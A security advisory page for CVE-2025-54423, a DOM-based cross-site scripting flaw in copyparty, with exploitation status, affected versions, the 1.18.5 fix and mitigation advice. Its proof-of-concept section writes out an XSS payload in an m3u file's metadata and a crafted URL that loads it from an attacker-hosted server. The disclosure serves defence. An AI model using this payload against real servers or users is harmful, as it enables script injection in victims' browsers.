CVE-2025-54423 is a medium-severity (CVSS 5.4) Cross-site Scripting (XSS) vulnerability in copyparty. A fix is available for copyparty — see the affected versions and patch details below.
copyparty has a DOM-Based XSS vulnerability when displaying multimedia metadata
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-54423.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
copypartyReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including m3u files.
Details
Multimedia metadata is rendered in the web-app without sanitization. This can be exploited in two ways:
- a user which has the necessary permission for uploading files can upload a song with an artist-name such as
<img src=x onerror=alert(document.domain)> - an unauthenticated user can trick another user into clicking a malicious URL, performing this same exploit using an externally-hosted m3u file
The CVE score and PoC is based on the m3u approach, which results in a higher severity.
PoC
-
Create a file named
song.m3uwith the following content. Host this file on an attacker-controlled web server.#EXTM3U #EXTINF:1,"><img src=x onerror=alert(document.domain)> - "><img src=x onerror=alert(document.domain)> http://example.com/audio.mp3 -
Craft and share the malicious URL:
http://127.0.0.1:3923/#m3u=https://example.com/song.m3u
Impact
Any user that accesses this malicious URL is impacted.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | copyparty | all versions | 1.18.5pip install --upgrade 'copyparty==1.18.5' |
Affected Products
copyparty9001Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for copyparty, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update copyparty to 1.18.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-54423 is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Frequently Asked Questions
Is CVE-2025-54423 in your dependencies?
Find it across PyPI, including transitive dependencies.